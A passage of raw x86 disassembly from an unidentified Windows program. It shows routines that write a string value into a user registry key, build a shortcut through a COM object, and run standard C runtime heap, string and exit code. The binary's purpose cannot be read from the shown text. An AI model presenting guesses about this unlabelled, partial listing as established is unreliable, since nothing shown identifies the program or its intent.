mov al, byte ptr [esp+hKey]
push ebx
mov ebx, ds:RegOpenKeyExA
push ebp
mov ebp, [esp+8+lpValueName]
push esi
push edi
mov edi, [esp+10h+lpSubKey]
test al, al
mov esi, ecx
jnz short loc_40AC64
lea eax, [esp+10h+hKey]
push eax ; phkResult
push 20019h ; samDesired
push 0 ; ulOptions
push edi ; lpSubKey
push 80000001h ; hKey
call ebx ; RegOpenKeyExA
test eax, eax
jz short loc_40AC2D
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC2D: ; CODE XREF: sub_40ABF0+32j
mov ecx, [esp+10h+hKey]
push 0 ; lpcbData
push 0 ; lpData
push 0 ; lpType
push 0 ; lpReserved
push ebp ; lpValueName
push ecx ; hKey
call ds:RegQueryValueExA ; RegQueryValueExA
test eax, eax
jz short loc_40AC59
mov edx, [esp+10h+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC59: ; CODE XREF: sub_40ABF0+53j
mov eax, [esp+10h+hKey]
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_40AC64: ; CODE XREF: sub_40ABF0+1Aj
lea ecx, [esp+10h+hKey]
push ecx ; phkResult
push 20006h ; samDesired
push 0 ; ulOptions
push edi ; lpSubKey
push 80000001h ; hKey
call ebx ; RegOpenKeyExA
test eax, eax
jz short loc_40AC85
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC85: ; CODE XREF: sub_40ABF0+8Aj
mov ecx, esi
call sub_40A2D0
mov edx, eax
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx ; cbData
push edx ; lpData
mov edx, [esp+18h+hKey]
push 1 ; dwType
push eax ; Reserved
push ebp ; lpValueName
push edx ; hKey
call ds:RegSetValueExA ; RegSetValueExA
test eax, eax
mov eax, [esp+10h+hKey]
push eax ; hKey
setz bl
call ds:RegCloseKey ; RegCloseKey
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
retn 0Ch
sub_40ABF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40ACD0 proc near ; CODE XREF: sub_4039C0+726p
ppv = dword ptr -210h
var_20C = dword ptr -20Ch
WideCharStr = word ptr -208h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 210h
lea eax, [esp+210h+ppv]
push esi
push eax ; ppv
push offset stru_40D3A8 ; riid
push 1 ; dwClsContext
push 0 ; pUnkOuter
mov esi, ecx
push offset stru_40D228 ; rclsid
call ds:CoCreateInstance
test eax, eax
jge short loc_40AD02
xor al, al
pop esi
add esp, 210h
retn 8
; ---------------------------------------------------------------------------
loc_40AD02: ; CODE XREF: sub_40ACD0+24j
mov eax, [esp+214h+ppv]
lea edx, [esp+214h+var_20C]
push edx
push offset dword_40D860
mov ecx, [eax]
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_40AD81
mov ecx, esi
call sub_40A2D0
mov esi, eax
push esi ; lpFileName
call sub_40B56A
mov eax, [esp+218h+ppv]
mov edx, [esp+218h+arg_0]
add esp, 4
mov ecx, [eax]
push edx
push eax
call dword ptr [ecx+50h]
mov eax, [esp+214h+ppv]
mov edx, [esp+214h+arg_4]
push edx
push eax
mov ecx, [eax]
call dword ptr [ecx+1Ch]
lea eax, [esp+214h+WideCharStr]
push 104h ; cchWideChar
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push esi ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, [esp+214h+var_20C]
lea edx, [esp+214h+WideCharStr]
push 1
push edx
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov eax, [esp+214h+var_20C]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
loc_40AD81: ; CODE XREF: sub_40ACD0+47j
mov eax, [esp+214h+ppv]
push eax
mov edx, [eax]
call dword ptr [edx+8]
mov al, 1
pop esi
add esp, 210h
retn 8
sub_40ACD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
public start
start proc near
StartupInfo = _STARTUPINFOA ptr -44h
sub esp, 44h
push ebx
push esi
call ds:GetCommandLineA ; GetCommandLineA
mov ebx, ds:ExitProcess
mov esi, eax
test esi, esi
jnz short loc_40ADBB
push 0FFFFFFFFh ; uExitCode
call ebx ; ExitProcess
; ---------------------------------------------------------------------------
loc_40ADBB: ; CODE XREF: start+15j
mov al, [esi]
push edi
mov edi, ds:CharNextA
cmp al, 22h
jnz short loc_40ADE3
loc_40ADC8: ; CODE XREF: start+35j
push esi ; lpsz
call edi ; CharNextA
mov esi, eax
mov al, [esi]
cmp al, 22h
jz short loc_40ADD7
test al, al
jnz short loc_40ADC8
loc_40ADD7: ; CODE XREF: start+31j
cmp byte ptr [esi], 22h
jnz short loc_40ADF1
push esi ; lpsz
call edi ; CharNextA
mov esi, eax
jmp short loc_40ADF1
; ---------------------------------------------------------------------------
loc_40ADE3: ; CODE XREF: start+26j
cmp al, 20h
jle short loc_40ADF1
loc_40ADE7: ; CODE XREF: start+4Fj
push esi ; lpsz
call edi ; CharNextA
mov esi, eax
cmp byte ptr [esi], 20h
jg short loc_40ADE7
loc_40ADF1: ; CODE XREF: start+3Aj start+41j ...
mov al, [esi]
test al, al
jz short loc_40AE06
loc_40ADF7: ; CODE XREF: start+64j
cmp al, 20h
jg short loc_40AE06
push esi ; lpsz
call edi ; CharNextA
mov esi, eax
mov al, [esi]
test al, al
jnz short loc_40ADF7
loc_40AE06: ; CODE XREF: start+55j start+59j
lea eax, [esp+50h+StartupInfo]
mov [esp+50h+StartupInfo.dwFlags], 0
push eax ; lpStartupInfo
call ds:GetStartupInfoA ; GetStartupInfoA
mov al, byte ptr [esp+50h+StartupInfo.dwFlags]
pop edi
test al, 1
jz short loc_40AE2D
mov eax, dword ptr [esp+4Ch+StartupInfo.wShowWindow]
and eax, 0FFFFh
jmp short loc_40AE32
; ---------------------------------------------------------------------------
loc_40AE2D: ; CODE XREF: start+80j
mov eax, 0Ah
loc_40AE32: ; CODE XREF: start+8Bj
push eax ; int
push esi ; int
push 0 ; int
push 0 ; lpModuleName
call ds:GetModuleHandleA ; GetModuleHandleA
push eax ; hInstance
call sub_4010C0
push eax ; uExitCode
call ebx ; ExitProcess
start endp
; ---------------------------------------------------------------------------
pop esi
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AE50(SIZE_T dwBytes)
sub_40AE50 proc near ; CODE XREF: sub_404540+13p
; sub_408E00+2Fp ...
dwBytes = dword ptr 4
mov edx, dwFlags
push esi
test edx, edx
jnz short loc_40AE70
mov eax, [esp+4+dwBytes]
mov ecx, hHeap
push eax ; dwBytes
push edx ; dwFlags
push ecx ; hHeap
call ds:HeapAlloc
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AE70: ; CODE XREF: sub_40AE50+9j
mov eax, dword_40FB5C
mov ecx, eax
inc eax
mov dword_40FB5C, eax
mov eax, dword_40FB54
and eax, ecx
mov ecx, [esp+4+dwBytes]
add ecx, 8
mov esi, [edx+eax*4]
push ecx ; dwBytes
push 0 ; dwFlags
push esi ; hHeap
call ds:HeapAlloc
test eax, eax
jz short loc_40AEA3
mov [eax], esi
add eax, 8
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AEA3: ; CODE XREF: sub_40AE50+4Aj
xor eax, eax
pop esi
retn
sub_40AE50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AEB0(LPVOID lpMem,SIZE_T dwBytes)
sub_40AEB0 proc near ; CODE XREF: sub_401620+A1p
lpMem = dword ptr 4
dwBytes = dword ptr 8
mov eax, [esp+lpMem]
test eax, eax
jnz short loc_40AEC6
mov eax, [esp+dwBytes]
push eax ; dwBytes
call sub_40AE50
add esp, 4
retn
; ---------------------------------------------------------------------------
loc_40AEC6: ; CODE XREF: sub_40AEB0+6j
mov ecx, dwFlags
test ecx, ecx
jnz short loc_40AEE6
mov ecx, [esp+dwBytes]
mov edx, hHeap
push ecx ; dwBytes
push eax ; lpMem
push 0 ; dwFlags
push edx ; hHeap
call ds:HeapReAlloc
retn
; ---------------------------------------------------------------------------
loc_40AEE6: ; CODE XREF: sub_40AEB0+1Ej
mov ecx, [esp+dwBytes]
mov edx, [eax-8]
add eax, 0FFFFFFF8h
add ecx, 8
push ecx ; dwBytes
push eax ; lpMem
push 0 ; dwFlags
push edx ; hHeap
call ds:HeapReAlloc
test eax, eax
jz short loc_40AF06
add eax, 8
retn
; ---------------------------------------------------------------------------
loc_40AF06: ; CODE XREF: sub_40AEB0+50j
xor eax, eax
retn
sub_40AEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AF10(LPVOID lpMem)
sub_40AF10 proc near ; CODE XREF: sub_4015D0+42p
; sub_4039C0+89Ep ...
lpMem = dword ptr 4
mov eax, dwFlags
test eax, eax
jnz short loc_40AF2E
mov eax, [esp+lpMem]
mov ecx, hHeap
push eax ; lpMem
push 0 ; dwFlags
push ecx ; hHeap
call ds:HeapFree
retn
; ---------------------------------------------------------------------------
loc_40AF2E: ; CODE XREF: sub_40AF10+7j
mov edx, [esp+lpMem]
lea eax, [edx-8]
push eax ; lpMem
push 0 ; dwFlags
mov eax, [eax]
push eax ; hHeap
call ds:HeapFree
retn
sub_40AF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AF50(SIZE_T dwBytes)
sub_40AF50 proc near ; CODE XREF: sub_4010C0+394p
; sub_401620+Fp ...
dwBytes = dword ptr 4
mov eax, [esp+dwBytes]
push eax ; dwBytes
call sub_40AE50
add esp, 4
retn
sub_40AF50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AF60(LPVOID lpMem)
sub_40AF60 proc near ; CODE XREF: sub_4015D0+26p
; sub_401620+DAp ...
lpMem = dword ptr 4
mov eax, [esp+lpMem]
push eax ; lpMem
call sub_40AF10
pop ecx
retn
sub_40AF60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AF70 proc near ; CODE XREF: sub_4010C0+1F0p
; sub_4010C0+21Bp ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_40AF90
loc_40AF7C: ; CODE XREF: sub_40AF70+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_40AF7C
loc_40AF90: ; CODE XREF: sub_40AF70+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_40AF70 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AF9F(UINT uExitCode)
sub_40AF9F proc near ; CODE XREF: sub_4036E0+236p
uExitCode = dword ptr 4
push 0 ; int
push 0 ; int
push [esp+8+uExitCode] ; uExitCode
call sub_40AFB0
add esp, 0Ch
retn
sub_40AF9F endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40AFB0(UINT uExitCode,int,int)
sub_40AFB0 proc near ; CODE XREF: sub_40AF9F+8p
uExitCode = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_40FC28, edi
jnz short loc_40AFCD
push [esp+4+uExitCode] ; uExitCode
call ds:GetCurrentProcess ; GetCurrentProcess
push eax ; hProcess
call ds:TerminateProcess ; TerminateProcess
loc_40AFCD: ; CODE XREF: sub_40AFB0+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_40FC24, edi
mov byte_40FC20, bl
jnz short loc_40B021
mov eax, dword_40FC68
test eax, eax
jz short loc_40B010
mov ecx, dword_40FC64
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_40B00F
loc_40AFFC: ; CODE XREF: sub_40AFB0+5Dj
mov eax, [esi]
test eax, eax
jz short loc_40B004
call eax
loc_40B004: ; CODE XREF: sub_40AFB0+50j
sub esi, 4
cmp esi, dword_40FC68
jnb short loc_40AFFC
loc_40B00F: ; CODE XREF: sub_40AFB0+4Aj
pop esi
loc_40B010: ; CODE XREF: sub_40AFB0+3Cj
push offset dword_40F018
push offset dword_40F014
call sub_40B049
pop ecx
pop ecx
loc_40B021: ; CODE XREF: sub_40AFB0+33j
push offset dword_40F020
push offset dword_40F01C
call sub_40B049
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_40B047
push [esp+4+uExitCode] ; uExitCode
mov dword_40FC28, edi
call ds:ExitProcess ; ExitProcess
; ---------------------------------------------------------------------------
loc_40B047: ; CODE XREF: sub_40AFB0+85j
pop edi
retn
sub_40AFB0 endp
; =============== S U B R O U T I N E =======================================
sub_40B049 proc near ; CODE XREF: sub_40AFB0+6Ap
; sub_40AFB0+7Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_40B04E: ; CODE XREF: sub_40B049+16j
cmp esi, [esp+4+arg_4]
jnb short loc_40B061
mov eax, [esi]
test eax, eax
jz short loc_40B05C
call eax
loc_40B05C: ; CODE XREF: sub_40B049+Fj
add esi, 4
jmp short loc_40B04E
; ---------------------------------------------------------------------------
loc_40B061: ; CODE XREF: sub_40B049+9j
pop esi
retn
sub_40B049 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B070 proc near ; CODE XREF: sub_4036E0+170p
; sub_4036E0+1D0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_40B0F3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_40B094
shr ecx, 2
jnz short loc_40B101
jmp short loc_40B0B5
; ---------------------------------------------------------------------------
loc_40B094: ; CODE XREF: sub_40B070+1Bj
; sub_40B070+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_40B0C2
test al, al
jz short loc_40B0CA
test esi, 3
jnz short loc_40B094
mov ebx, ecx
shr ecx, 2
jnz short loc_40B101
loc_40B0B0: ; CODE XREF: sub_40B070+8Fj
and ebx, 3
jz short loc_40B0C2
loc_40B0B5: ; CODE XREF: sub_40B070+22j
; sub_40B070+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_40B0EE
dec ebx
jnz short loc_40B0B5
loc_40B0C2: ; CODE XREF: sub_40B070+2Bj
; sub_40B070+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B0CA: ; CODE XREF: sub_40B070+2Fj
test edi, 3
jz short loc_40B0E4
loc_40B0D2: ; CODE XREF: sub_40B070+72j
mov [edi], al
inc edi
dec ecx
jz loc_40B166
test edi, 3
jnz short loc_40B0D2
loc_40B0E4: ; CODE XREF: sub_40B070+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_40B157
loc_40B0EB: ; CODE XREF: sub_40B070+7Fj
; sub_40B070+F4j
mov [edi], al
inc edi
loc_40B0EE: ; CODE XREF: sub_40B070+4Dj
dec ebx
jnz short loc_40B0EB
pop ebx
pop esi
loc_40B0F3: ; CODE XREF: sub_40B070+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B0F9: ; CODE XREF: sub_40B070+A9j
; sub_40B070+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_40B0B0
loc_40B101: ; CODE XREF: sub_40B070+20j
; sub_40B070+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_40B0F9
test dl, dl
jz short loc_40B14B
test dh, dh
jz short loc_40B141
test edx, 0FF0000h
jz short loc_40B137
test edx, 0FF000000h
jnz short loc_40B0F9
mov [edi], edx
jmp short loc_40B14F
; ---------------------------------------------------------------------------
loc_40B137: ; CODE XREF: sub_40B070+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_40B14F
; ---------------------------------------------------------------------------
loc_40B141: ; CODE XREF: sub_40B070+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_40B14F
; ---------------------------------------------------------------------------
loc_40B14B: ; CODE XREF: sub_40B070+ADj
xor edx, edx
mov [edi], edx
loc_40B14F: ; CODE XREF: sub_40B070+C5j
; sub_40B070+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_40B161
loc_40B157: ; CODE XREF: sub_40B070+79j
xor eax, eax
loc_40B159: ; CODE XREF: sub_40B070+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_40B159
loc_40B161: ; CODE XREF: sub_40B070+E5j
and ebx, 3
jnz short loc_40B0EB
loc_40B166: ; CODE XREF: sub_40B070+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_40B070 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B16E(LPCSTR lpPathName)
sub_40B16E proc near ; CODE XREF: sub_4039C0+452p
lpPathName = dword ptr 4
push 0 ; lpSecurityAttributes
push [esp+4+lpPathName] ; lpPathName
call ds:CreateDirectoryA ; CreateDirectoryA
test eax, eax
jnz short loc_40B186
call ds:GetLastError
jmp short loc_40B188
; ---------------------------------------------------------------------------
loc_40B186: ; CODE XREF: sub_40B16E+Ej
xor eax, eax
loc_40B188: ; CODE XREF: sub_40B16E+16j
test eax, eax
jz short loc_40B197
push eax
call sub_40B575
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40B197: ; CODE XREF: sub_40B16E+1Cj
xor eax, eax
retn
sub_40B16E endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_40B1B0
loc_40B1A0: ; CODE XREF: sub_40B1B0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_40B1B0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B1B0 proc near ; CODE XREF: sub_4051A0+1F1p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0040B1A0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_40B1DB
loc_40B1C8: ; CODE XREF: sub_40B1B0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_40B1A0
test cl, cl
jz short loc_40B224
test edx, 3
jnz short loc_40B1C8
loc_40B1DB: ; CODE XREF: sub_40B1B0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_40B1E6: ; CODE XREF: sub_40B1B0+61j
; sub_40B1B0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_40B228
and eax, 81010100h
jz short loc_40B1E6
and eax, 1010100h
jnz short loc_40B222
and esi, 80000000h
jnz short loc_40B1E6
loc_40B222: ; CODE XREF: sub_40B1B0+68j
; sub_40B1B0+81j ...
pop esi
pop edi
loc_40B224: ; CODE XREF: sub_40B1B0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40B228: ; CODE XREF: sub_40B1B0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_40B265
test al, al
jz short loc_40B222
cmp ah, bl
jz short loc_40B25E
test ah, ah
jz short loc_40B222
shr eax, 10h
cmp al, bl
jz short loc_40B257
test al, al
jz short loc_40B222
cmp ah, bl
jz short loc_40B250
test ah, ah
jz short loc_40B222
jmp short loc_40B1E6
; ---------------------------------------------------------------------------
loc_40B250: ; CODE XREF: sub_40B1B0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40B257: ; CODE XREF: sub_40B1B0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40B25E: ; CODE XREF: sub_40B1B0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40B265: ; CODE XREF: sub_40B1B0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_40B1B0 endp
; =============== S U B R O U T I N E =======================================
sub_40B26C proc near ; CODE XREF: sub_405830+1FBp
; sub_408FC0+168p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_40B283
add esp, 10h
retn
sub_40B26C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B283 proc near ; CODE XREF: sub_40B26C+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_40B29B: ; CODE XREF: sub_40B283+46j
cmp dword_40FAC4, 1
jle short loc_40B2B3
movzx eax, bl
push 8 ; int
push eax ; CharType
call sub_40B6A8
pop ecx
pop ecx
jmp short loc_40B2C2
; ---------------------------------------------------------------------------
loc_40B2B3: ; CODE XREF: sub_40B283+1Fj
mov ecx, off_40F8B8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_40B2C2: ; CODE XREF: sub_40B283+2Ej
test eax, eax
jz short loc_40B2CB
mov bl, [esi]
inc esi
jmp short loc_40B29B
; ---------------------------------------------------------------------------
loc_40B2CB: ; CODE XREF: sub_40B283+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_40B2D9
or [ebp+arg_C], 2
jmp short loc_40B2DE
; ---------------------------------------------------------------------------
loc_40B2D9: ; CODE XREF: sub_40B283+4Ej
cmp bl, 2Bh
jnz short loc_40B2E4
loc_40B2DE: ; CODE XREF: sub_40B283+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_40B2E4: ; CODE XREF: sub_40B283+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_40B47B
cmp eax, 1
jz loc_40B47B
cmp eax, 24h
jg loc_40B47B
push 10h
test eax, eax
pop ecx
jnz short loc_40B32C
cmp bl, 30h
jz short loc_40B316
mov [ebp+arg_8], 0Ah
jmp short loc_40B348
; ---------------------------------------------------------------------------
loc_40B316: ; CODE XREF: sub_40B283+88j
mov al, [esi]
cmp al, 78h
jz short loc_40B329
cmp al, 58h
jz short loc_40B329
mov [ebp+arg_8], 8
jmp short loc_40B348
; ---------------------------------------------------------------------------
loc_40B329: ; CODE XREF: sub_40B283+97j
; sub_40B283+9Bj
mov [ebp+arg_8], ecx
loc_40B32C: ; CODE XREF: sub_40B283+83j
cmp [ebp+arg_8], ecx
jnz short loc_40B348
cmp bl, 30h
jnz short loc_40B348
mov al, [esi]
cmp al, 78h
jz short loc_40B340
cmp al, 58h
jnz short loc_40B348
loc_40B340: ; CODE XREF: sub_40B283+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_40B348: ; CODE XREF: sub_40B283+91j
; sub_40B283+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_40B358: ; CODE XREF: sub_40B283+16Cj
cmp dword_40FAC4, 1
movzx esi, bl
jle short loc_40B370
push 4 ; int
push esi ; CharType
call sub_40B6A8
pop ecx
pop ecx
jmp short loc_40B37B
; ---------------------------------------------------------------------------
loc_40B370: ; CODE XREF: sub_40B283+DFj
mov eax, off_40F8B8
mov al, [eax+esi*2]
and eax, 4
loc_40B37B: ; CODE XREF: sub_40B283+EBj
test eax, eax
jz short loc_40B387
movsx ecx, bl
sub ecx, 30h
jmp short loc_40B3B9
; ---------------------------------------------------------------------------
loc_40B387: ; CODE XREF: sub_40B283+FAj
cmp dword_40FAC4, 1
jle short loc_40B39B
push edi ; int
push esi ; CharType
call sub_40B6A8
pop ecx
pop ecx
jmp short loc_40B3A6
; ---------------------------------------------------------------------------
loc_40B39B: ; CODE XREF: sub_40B283+10Bj
mov eax, off_40F8B8
mov ax, [eax+esi*2]
and eax, edi
loc_40B3A6: ; CODE XREF: sub_40B283+116j
test eax, eax
jz short loc_40B3F4
movsx eax, bl
push eax ; CharType
call sub_40B5DC
pop ecx
mov ecx, eax
sub ecx, 37h
loc_40B3B9: ; CODE XREF: sub_40B283+102j
cmp ecx, [ebp+arg_8]
jnb short loc_40B3F4
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_40B3DE
jnz short loc_40B3D8
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_40B3DE
loc_40B3D8: ; CODE XREF: sub_40B283+147j
or [ebp+arg_C], 4
jmp short loc_40B3E7
; ---------------------------------------------------------------------------
loc_40B3DE: ; CODE XREF: sub_40B283+145j
; sub_40B283+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_40B3E7: ; CODE XREF: sub_40B283+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_40B358
; ---------------------------------------------------------------------------
loc_40B3F4: ; CODE XREF: sub_40B283+125j
; sub_40B283+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_40B412
test edx, edx
jz short loc_40B40C
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_40B40C: ; CODE XREF: sub_40B283+181j
and [ebp+var_8], 0
jmp short loc_40B45F
; ---------------------------------------------------------------------------
loc_40B412: ; CODE XREF: sub_40B283+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_40B438
test cl, 1
jnz short loc_40B45F
and ecx, 2
jz short loc_40B42F
cmp [ebp+var_8], 80000000h
ja short loc_40B438
loc_40B42F: ; CODE XREF: sub_40B283+1A1j
test ecx, ecx
jnz short loc_40B45F
cmp [ebp+var_8], eax
jbe short loc_40B45F
loc_40B438: ; CODE XREF: sub_40B283+197j
; sub_40B283+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_40FBE0, 22h
jz short loc_40B44E
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_40B45F
; ---------------------------------------------------------------------------
loc_40B44E: ; CODE XREF: sub_40B283+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_40B45F: ; CODE XREF: sub_40B283+18Dj
; sub_40B283+19Cj ...
test edx, edx
jz short loc_40B468
mov eax, [ebp+var_4]
mov [edx], eax
loc_40B468: ; CODE XREF: sub_40B283+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_40B476
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_40B476: ; CODE XREF: sub_40B283+1E9j
mov eax, [ebp+var_8]
jmp short loc_40B486
; ---------------------------------------------------------------------------
loc_40B47B: ; CODE XREF: sub_40B283+66j
; sub_40B283+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_40B484
mov [eax], edi
loc_40B484: ; CODE XREF: sub_40B283+1FDj
xor eax, eax
loc_40B486: ; CODE XREF: sub_40B283+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_40B283 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B490 proc near ; CODE XREF: sub_406E60+17Bp
; sub_406E60+1A1p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_40B4C1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_40B4BF
jz short loc_40B4C1
dec ecx
dec ecx
loc_40B4BF: ; CODE XREF: sub_40B490+29j
not ecx
loc_40B4C1: ; CODE XREF: sub_40B490+9j
; sub_40B490+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_40B490 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4C8 proc near ; CODE XREF: sub_409DA0+64p
; sub_409DA0+1B5p ...
SystemTimeAsFileTime= _FILETIME ptr -8
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+SystemTimeAsFileTime]
push edi
push eax ; lpSystemTimeAsFileTime
